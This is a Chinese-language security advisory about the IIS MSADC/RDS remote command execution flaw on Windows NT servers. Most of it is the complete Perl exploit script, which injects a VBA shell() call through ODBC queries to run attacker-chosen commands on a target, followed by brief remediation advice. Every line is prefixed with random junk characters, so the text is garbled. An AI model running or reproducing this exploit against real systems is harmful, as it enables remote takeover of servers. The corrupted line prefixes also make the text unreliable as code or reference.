IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
,{8~TVO 6tG9PG98q9 涉及程序:
348Bu7': Microsoft NT server
0yAvAx 3O#7OL68v 描述:
VWfrcSZg6M 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
1P2%n[y e|MyA?` 详细:
~01rc 如果你没有时间读详细内容的话,就删除:
4eaC18? c:\Program Files\Common Files\System\Msadc\msadcs.dll
{_[l,tdZ 有关的安全问题就没有了。
uVscF
4 `i{o8l 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
8 (.< "_#%W
oo 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
}E/L: 关于利用ODBC远程漏洞的描述,请参看:
N.-Ryj&9 Ujj2A^ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 5>A3;P 9=<
Z> 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
4vBbP;ELWq http://www.microsoft.com/security/bulletins/MS99-025faq.asp Iv/yIS wEDU*}~ 这里不再论述。
P9%9/ B:- L</"m[ 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
bjQfZT( u:,B"! /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
lsio\ $ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
X^xu$d6 4&|9304<H
w$B7..r #将下面这段保存为txt文件,然后: "perl -x 文件名"
IRS^F;) O^:Pr8|{J #!perl
{L4^IKI #
P_ZguNH # MSADC/RDS 'usage' (aka exploit) script
5.\!k8a #
R2~Rqlti # by rain.forest.puppy
C)ChF`Ru': #
eq4<
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Nxt/R%( # beta test and find errors!
%5z88-\ ,2kWj7H%7 use Socket; use Getopt::Std;
5Cz:$-+ getopts("e:vd:h:XR", \%args);
^WD[>E~ qmL!"ZRLF print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
$x2<D : f O(.I if (!defined $args{h} && !defined $args{R}) {
]\3dJ^q|% print qq~
>2C;5ba Usage: msadc.pl -h <host> { -d <delay> -X -v }
~;`i&s -h <host> = host you want to scan (ip or domain)
z$YOV"N -d <seconds> = delay between calls, default 1 second
Nm^q.)dO -X = dump Index Server path table, if available
I}8F3_b,# -v = verbose
8;Pdd1GyUL -e = external dictionary file for step 5
qBwqxxTc "thu@~aC Or a -R will resume a command session
Icr'l$PE -u9{R \S ~; exit;}
h|-r t15 ev@1+7( $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
6>vj({,1Y* if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
4Fz^[L}[ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
|6;.C1\, if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
RE7[bM3a $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Y}WO`+Vf5 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
43VuH eVlI:yqppj if (!defined $args{R}){ $ret = &has_msadc;
%-SP die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
+_ G'FD fcBSs\\C~ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
CRx:3u!: . "cmd /c ";
=AAH} $in=<STDIN>; chomp $in;
x*)Wl! $command="cmd /c " . $in ;
;x7SY;0* #?,cYh+ if (defined $args{R}) {&load; exit;}
xFvSQ`sp $Z,+aLmb print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
\e?T9c6, &try_btcustmr;
hFjW.~B {C6Yr9 print "\nStep 2: Trying to make our own DSN...";
!eO?75/ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
[[|;Wr}2 ZcQm(my print "\nStep 3: Trying known DSNs...";
zZ wD)p?_g &known_dsn;
ov+qYBuFw gGX/p6" print "\nStep 4: Trying known .mdbs...";
%Wu8RG} &known_mdb;
fU8;CZnx D\TL6"wo if (defined $args{e}){
+GGj*sD print "\nStep 5: Trying dictionary of DSN names...";
Q2 edS| &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
!XicX9n kP6r=HH@ print "Sorry Charley...maybe next time?\n";
jc?Hip' exit;
JxWHrsh[ uu/MXID ##############################################################################
1,mf]7k$ [WK_Vh{ sub sendraw { # ripped and modded from whisker
C6Mb(& sleep($delay); # it's a DoS on the server! At least on mine...
p\HXE4d' my ($pstr)=@_;
?|L)!LYx socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
1ERz:\ die("Socket problems\n");
&sllM if(connect(S,pack "SnA4x8",2,80,$target)){
N7;2BUIXJ select(S); $|=1;
|p+VitM7 print $pstr; my @in=<S>;
4VooU [Ka( select(STDOUT); close(S);
Gmwn: return @in;
J2R<'( } else { die("Can't connect...\n"); }}
#eaey+~ IS!+J.2 ##############################################################################
W,<Vr2J[ g5"g,SFGr sub make_header { # make the HTTP request
Jk~T.p?tF my $msadc=<<EOT
V-
vVb POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
$`Ou * User-Agent: ACTIVEDATA
(&B &
V Host: $ip
LY|h*a6Ym Content-Length: $clen
4*54"[9Hr# Connection: Keep-Alive
<E^:{J95 (u*]&yk ADCClientVersion:01.06
'Hg(N?1" Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
JE j+> ucn aj| --!ADM!ROX!YOUR!WORLD!
k`&mHSk- Content-Type: application/x-varg
vSX
6~m Content-Length: $reqlen
A ssf
f; ZNUV Bi EOT
a@7we=! ; $msadc=~s/\n/\r\n/g;
"[8](3\v return $msadc;}
*yf+5q4t \<PW_'6 ##############################################################################
V`%m~#Me D( _aXy sub make_req { # make the RDS request
|%tR#!&[:g my ($switch, $p1, $p2)=@_;
@wg*~"d my $req=""; my $t1, $t2, $query, $dsn;
;6]+/e7O qvt~wJf< if ($switch==1){ # this is the btcustmr.mdb query
prwyP $query="Select * from Customers where City=" . make_shell();
9xSAWKr,l $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
qBpY3]/ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
a@ lK+t ja:%j&: elsif ($switch==2){ # this is general make table query
('gjfl $query="create table AZZ (B int, C varchar(10))";
"16==tLFE $dsn="$p1";}
U{;i 864:} tf/ f-S elsif ($switch==3){ # this is general exploit table query
B@F 1!8l
$query="select * from AZZ where C=" . make_shell();
'rg$%M*( $dsn="$p1";}
<y!BO /yI~(8bO elsif ($switch==4){ # attempt to hork file info from index server
GoF C!nx $query="select path from scope()";
>N*QK6"=| $dsn="Provider=MSIDXS;";}
eF2<L [9 +J^}"dG elsif ($switch==5){ # bad query
YsTfv1~z# $query="select";
F"bbU/5 $dsn="$p1";}
2V Ek4aC3 $t1= make_unicode($query);
{o]OxqE@ $t2= make_unicode($dsn);
*m|]c4 $req = "\x02\x00\x03\x00";
NfN#q:w1 $req.= "\x08\x00" . pack ("S1", length($t1));
Fc nR}TE $req.= "\x00\x00" . $t1 ;
XjX<?W $req.= "\x08\x00" . pack ("S1", length($t2));
7?kvrIuY& $req.= "\x00\x00" . $t2 ;
*|4~
0w $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
LN7;Yr return $req;}
<(
MBs$b ` "9Y.KU ##############################################################################
zZDr=6|r_ q_W NN/w sub make_shell { # this makes the shell() statement
ha(hG3C return "'|shell(\"$command\")|'";}
Ya>cGaLq E(S}c*05O ##############################################################################
#}A!Bk (57x5qP
X sub make_unicode { # quick little function to convert to unicode
Oo#wPT;1^( my ($in)=@_; my $out;
Y@pa+~[{h3 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
TM"i9a? ; return $out;}
F 6SIhf.; jsL'O;K/ ##############################################################################
1W-!f% nhy3E sub rdo_success { # checks for RDO return success (this is kludge)
KR z\ct| my (@in) = @_; my $base=content_start(@in);
tw.%'oJ7 if($in[$base]=~/multipart\/mixed/){
qg'm<[ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
yJgnw6>r2 return 0;}
v|`)~"~ 45_zO# ##############################################################################
.&L#%C n[{o~VN sub make_dsn { # this makes a DSN for us
v_Jp9 my @drives=("c","d","e","f");
T%ha2X= print "\nMaking DSN: ";
{9)LHX7dN foreach $drive (@drives) {
R(hqBa/V print "$drive: ";
6 C my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
9}": }! "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
[]u!piW . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
_:TD{ EO$ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
&hZcjdB return 0 if $2 eq "404"; # not found/doesn't exist
AU)Qk$c if($2 eq "200") {
bluC P| foreach $line (@results) {
/Bb\jvk-E return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
(z"Cwa@e } return 0;}
BPC$ v\a =`{!" 6a ##############################################################################
N=|w]t0*yc [=XsI]B\ sub verify_exists {
koaH31Q my ($page)=@_;
cT." my @results=sendraw("GET $page HTTP/1.0\n\n");
fv)-o&Q# return $results[0];}
xOZ?zN 'e0qdY` ##############################################################################
G*Qk9bk9 {KODwP'~ sub try_btcustmr {
"bC8/^ my @drives=("c","d","e","f");
RN!oflb my @dirs=("winnt","winnt35","winnt351","win","windows");
cITQ,ah =TyN"0@ foreach $dir (@dirs) {
IDcu#Nz` print "$dir -> "; # fun status so you can see progress
AD~\/V&+ foreach $drive (@drives) {
R0{n0Br print "$drive: "; # ditto
9;q@;)'5 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
pNE!waR> $reqlenlen=length( "$reqlen" );
]%G[<zD,1 $clen= 206 + $reqlenlen + $reqlen;
/&dC? bY e8P
|eK my @results=sendraw(make_header() . make_req(1,$drive,$dir));
U<o,`y[Tn if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
Qx$Yj else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
E]"ePdZZ/ {5_*tV<I ##############################################################################
eF:6k qg u:fiil$ sub odbc_error {
~vG~Z*F my (@in)=@_; my $base;
Le#bitp my $base = content_start(@in);
MNkysB( if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
`} Q+: $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
sL[,J[AN; $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
d0IHl!X $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
?I7%@x!+S return $in[$base+4].$in[$base+5].$in[$base+6];}
jG8ihi print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
v-&^G3 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
N'|zPFkg $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
K*p^Gs, ,I'Y)SLx ##############################################################################
f+ J<sk 4z?6[Cg< sub verbose {
!P#lTyz my ($in)=@_;
!!dNp5h` return if !$verbose;
D55dD> print STDOUT "\n$in\n";}
"l2_7ZXsPT Uu8Z2M ##############################################################################
a&4>xZU # aCy2.Qn sub save {
F5{~2~Cw( my ($p1, $p2, $p3, $p4)=@_;
e2 Ba@e- open(OUT, ">rds.save") || print "Problem saving parameters...\n";
M9 _h0 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
&c?-z}=G close OUT;}
y7$e7~}/ pOGVD ##############################################################################
($[pCdY Vz51=?75 sub load {
qvhTc6oH my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
]p@7[8} open(IN,"<rds.save") || die("Couldn't open rds.save\n");
cfa#a!Y4 @p=<IN>; close(IN);
[Gy sx $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
w,9$*=k
$target= inet_aton($ip) || die("inet_aton problems");
>"N \ZC^ print "Resuming to $ip ...";
e2k!5OS $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
]={:VsnL if($p[1]==1) {
~Og'IRf $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
Y#3m|b45n $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
`L7 cS my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
${0Xq k if (rdo_success(@results)){print "Success!\n";}
$Y)|&, else { print "failed\n"; verbose(odbc_error(@results));}}
auaFP-$`f elsif ($p[1]==3){
noGMfZ1 if(run_query("$p[3]")){
1m|1eAGS{ print "Success!\n";} else { print "failed\n"; }}
5{[3I|m{ elsif ($p[1]==4){
r]"
> if(run_query($drvst . "$p[3]")){
ke'p8Gz print "Success!\n"; } else { print "failed\n"; }}
j+PW9>Uh exit;}
Y=/HsG\W] uWv l<{2 ##############################################################################
YtxBkKiJ2V I&1h/ sub create_table {
,TeDJ\k my ($in)=@_;
^~eT#Y8 $reqlen=length( make_req(2,$in,"") ) - 28;
J+w"{ O $reqlenlen=length( "$reqlen" );
A\.k['! $clen= 206 + $reqlenlen + $reqlen;
"JbFbcj my @results=sendraw(make_header() . make_req(2,$in,""));
eW0:&*.vMj return 1 if rdo_success(@results);
1h"0B my $temp= odbc_error(@results); verbose($temp);
DZ(e^vq return 1 if $temp=~/Table 'AZZ' already exists/;
] l}8 return 0;}
pJK puoiX *M6M'>Tin ##############################################################################
eNi.d;8F RkP7}ZA; sub known_dsn {
=HYMX"s # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
<),FI <~ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
Q3_ia5 `O "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
%~ZOQ%c1 "banner", "banners", "ads", "ADCDemo", "ADCTest");
?Ju=L| OBF5Tl4 foreach $dSn (@dsns) {
(y=P-nm print ".";
i!ejK6Q next if (!is_access("DSN=$dSn"));
;'p X1T if(create_table("DSN=$dSn")){
F#O.i, print "$dSn successful\n";
OfbM]:}<3 if(run_query("DSN=$dSn")){
T[~ak"M print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
qf(!3 print "Something's borked. Use verbose next time\n";}}} print "\n";}
\/S?.P#L~ //_v"dqP{) ##############################################################################
P;mmK&& D{PO!WzW sub is_access {
MpGWt# my ($in)=@_;
LtXFGPQ f $reqlen=length( make_req(5,$in,"") ) - 28;
BVC\~j
j $reqlenlen=length( "$reqlen" );
`SFI\Y+WDT $clen= 206 + $reqlenlen + $reqlen;
HVh+Zk my @results=sendraw(make_header() . make_req(5,$in,""));
6 @'v6 1' my $temp= odbc_error(@results);
!NZFo S~ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
\
Lrg: return 0;}
:M'3U g$t "72
_Sw ##############################################################################
$l 0^2o= cuW$%$F sub run_query {
,.x1+9X my ($in)=@_;
kYmkKl_ $reqlen=length( make_req(3,$in,"") ) - 28;
A
ElNf: $reqlenlen=length( "$reqlen" );
[gqV}Y"Md $clen= 206 + $reqlenlen + $reqlen;
KR?-< my @results=sendraw(make_header() . make_req(3,$in,""));
83OOM;' return 1 if rdo_success(@results);
E{(7]Wri my $temp= odbc_error(@results); verbose($temp);
ro|dB return 0;}
OiJ1&Fz( svHs&v ##############################################################################
4B^f"6' gM^ Hs7o, sub known_mdb {
z;2kKQZm my @drives=("c","d","e","f","g");
P8:k"i/6J my @dirs=("winnt","winnt35","winnt351","win","windows");
u4rG e! my $dir, $drive, $mdb;
A@f`g[q my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
k`'^e/ cK1r9ED| # this is sparse, because I don't know of many
#L`@[" my @sysmdbs=( "\\catroot\\icatalog.mdb",
OF2*zU7M "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
I[c/)
N "\\system32\\certmdb.mdb",
M(jSv "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
v0apEjT CM!bD\5 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
Nd%,V "\\cfusion\\cfapps\\forums\\forums_.mdb",
/!P,o}l7 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
(w6 024~ "\\cfusion\\cfapps\\security\\realm_.mdb",
&Plc "\\cfusion\\cfapps\\security\\data\\realm.mdb",
Vyf r>pgW1 "\\cfusion\\database\\cfexamples.mdb",
;SagN "\\cfusion\\database\\cfsnippets.mdb",
nulVQOj| "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
u?&P6|J& "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
W{*U#:Jx1 "\\cfusion\\brighttiger\\database\\cleam.mdb",
Cz#0Gh>1 "\\cfusion\\database\\smpolicy.mdb",
;S7MP`o@ "\\cfusion\\database\cypress.mdb",
kL*
DU` "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
qm{(.b^ "\\website\\cgi-win\\dbsample.mdb",
to|O]h2*U2 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
>DP9S@W "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
}N&}6U ); #these are just
b>er 'U foreach $drive (@drives) {
bzF>Efza foreach $dir (@dirs){
F;kY5+a7~e foreach $mdb (@sysmdbs) {
m6a`Ok P print ".";
'-N `u$3Y if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
wa\Yc,R print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
b8r?Dd"T8 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
wDVKp[' print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
I}q2)@ } else { print "Something's borked. Use verbose next time\n"; }}}}}
TwH%P2)x ~k^rI jR foreach $drive (@drives) {
J<'[P$D foreach $mdb (@mdbs) {
,.A@U*j print ".";
="Zr. g~8 if(create_table($drv . $drive . $dir . $mdb)){
-GCC print "\n" . $drive . $dir . $mdb . " successful\n";
6!*be|<& if(run_query($drv . $drive . $dir . $mdb)){
Tty_P, print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
WXV (R,*Tc } else { print "Something's borked. Use verbose next time\n"; }}}}
2Tec#eYe }
6<u=hhL Z$LWZg ##############################################################################
m!Cvd9X= EmNJ_xY sub hork_idx {
(0dy,GRN print "\nAttempting to dump Index Server tables...\n";
lR5[UKr print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
I!eu|_cF $reqlen=length( make_req(4,"","") ) - 28;
zisf8x7^W $reqlenlen=length( "$reqlen" );
T$rhz)_q $clen= 206 + $reqlenlen + $reqlen;
;)$bhNFHx my @results=sendraw2(make_header() . make_req(4,"",""));
+O"!* if (rdo_success(@results)){
v3O+ ;4 my $max=@results; my $c; my %d;
m#1>y} for($c=19; $c<$max; $c++){
,.DTJ7H+ $results[$c]=~s/\x00//g;
])OrSsV} $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
{*mf Is $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
(+uM |a $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
*U>"_h T0 $d{"$1$2"}="";}
J>Pc@,y foreach $c (keys %d){ print "$c\n"; }
!z?& } else {print "Index server doesn't seem to be installed.\n"; }}
]Q0m]OaT :j^IXZW ##############################################################################
J;HYGu: $ix:S$ sub dsn_dict {
[l44,!Z& open(IN, "<$args{e}") || die("Can't open external dictionary\n");
*$e1Bv6
$ while(<IN>){
8u8-:c%{ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
zVt1Ta:j next if (!is_access("DSN=$dSn"));
`vjn,2S} if(create_table("DSN=$dSn")){
]2E#P.-!b print "$dSn successful\n";
H=lzW_( if(run_query("DSN=$dSn")){
Y"H'BT!b} print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
i4T=4q print "Something's borked. Use verbose next time\n";}}}
K@%o$S?>z_ print "\n"; close(IN);}
6-E>-9]'E =hRo#]{(K ##############################################################################
u,RR|/@ ^?M# |> sub sendraw2 { # ripped and modded from whisker
f \ E9u} sleep($delay); # it's a DoS on the server! At least on mine...
W&~\@j]!D my ($pstr)=@_;
izDfpr}s4 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
!$u:[T_8 die("Socket problems\n");
YCl&}/.pA if(connect(S,pack "SnA4x8",2,80,$target)){
ygK@\JHn print "Connected. Getting data";
QmgO00{ open(OUT,">raw.out"); my @in;
Bnp\G h select(S); $|=1; print $pstr;
pO?v$Rjl while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
L"KKW
c close(OUT); select(STDOUT); close(S); return @in;
Ab
#}BHI } else { die("Can't connect...\n"); }}
7Pe<0K)s( tm1#Lh0 ##############################################################################
[][ze2+b aT4I sPA?_ sub content_start { # this will take in the server headers
lVv'_9yg my (@in)=@_; my $c;
j>8S,b=% for ($c=1;$c<500;$c++) {
;n q"jm if($in[$c] =~/^\x0d\x0a/){
]z O6ESH if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
>P+oNY else { return $c+1; }}}
6E@TcN~,! return -1;} # it should never get here actually
15z(hzU?# 4A`U [r_>D ##############################################################################
mxnu\@}( 4wKQs&: sub funky {
A^c
( my (@in)=@_; my $error=odbc_error(@in);
}y1r
yeW< if($error=~/ADO could not find the specified provider/){
-zg 6^f_pW print "\nServer returned an ADO miscofiguration message\nAborting.\n";
::p%R@? exit;}
s
!IvUc7' if($error=~/A Handler is required/){
00B,1Q HP print "\nServer has custom handler filters (they most likely are patched)\n";
0.\}D:x(z exit;}
,. zHG if($error=~/specified Handler has denied Access/){
5O(U1
* print "\nServer has custom handler filters (they most likely are patched)\n";
Up1n0 exit;}}
1Ep7CV-n} wg+[T;0 S ##############################################################################
z }Lf]w? An_3DrUFV_ sub has_msadc {
]eUD3WUe>q my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
i#NtiZ.t= my $base=content_start(@results);
2# return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
jR9;<qT/ return 0;}
:-_"[:t 5Z K]1|#`n ########################
foUBMl 4k9$'
k j u&v4] 解决方案:
d}aMdIF!e 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
{Mb2X^@7 2、移除web 目录: /msadc